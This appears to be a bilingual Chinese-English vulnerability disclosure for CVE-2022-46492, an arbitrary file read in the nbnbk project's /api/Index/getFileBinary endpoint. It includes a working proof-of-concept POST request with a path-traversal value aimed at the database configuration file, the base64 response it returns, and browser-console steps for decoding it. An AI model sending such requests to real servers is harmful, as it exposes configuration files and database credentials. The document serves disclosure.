Headline
CVE-2022-46492: 🛡️ Nbnbk has an arbitrary file read vulnerability · Issue #3 · Fanli2012/nbnbk
nbnbk commit 879858451d53261d10f77d4709aee2d01c72c301 was discovered to contain an arbitrary file read vulnerability via the component /api/Index/getFileBinary.
nbnbk 存在任意文件读取
Nbnbk has an arbitrary file read vulnerability
POST /api/Index/getFileBinary HTTP/1.1 Host: nbnbk:8888 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 31
url=…/application/database.php
通过修改 url 参数来读取文件,来看返回数据。
Return data by modifying the url parameter to read the file.
HTTP/1.1 200 OK Date: Fri, 04 Mar 2022 03:39:37 GMT Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-0910052141 PHP/7.4.21 OpenSSL/1.0.2u mod_wsgi/3.5 Python/2.7.13 X-Powered-By: PHP/7.4.21 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST Access-Control-Allow-Headers: x-requested-with,content-type,x-access-token,x-access-appid Content-Length: 2784 Connection: close Content-Type: text/html; charset=UTF-8
{"code":0,"msg":"操作成功","data":"PD9waHAKLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBUaGlua1BIUCBbIFdFIENBTiBETyBJVCBKVVNU\r\nIFRISU5LIF0KLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBDb3B5cmlnaHQgKGMpIDIwMDZ+MjAxNiBo\r\ndHRwOi8vdGhpbmtwaHAuY24gQWxsIHJpZ2h0cyByZXNlcnZlZC4KLy8gKy0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS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WCiAgICAnZGF0ZXRpbWVfZm9ybWF0Jz0+\r\nIGZhbHNlLApdOwo=\r\n"}
文件信息在 data 字段中,是 base64 编码的格式,但其中包含了大量的 \r\n 导致我们没法直接解码。我们可以通过 js 去将所有 \r\n 删掉。
- 打开 Google Chrome 游览器
- 打开一个控制台
- 输入以下代码
The file information in the data field is in the base64 encoded format, but it contains a large number of \r\n which prevents us from decoding it directly. We can delete all \r\n’through js’.
Open Google Chrome Tour
Open a console
Enter the following code
a = “$data string” a.replaceAll('\r\n’, ‘’)
演示将上面代码进行转化
The demonstration transforms the above code
将转化后的数据进行 base64 转码 我使用的是 Google Chrome 插件 FeHelper
Transcoding the converted data base64 I’m using the Google ChromePlug-inFeHelper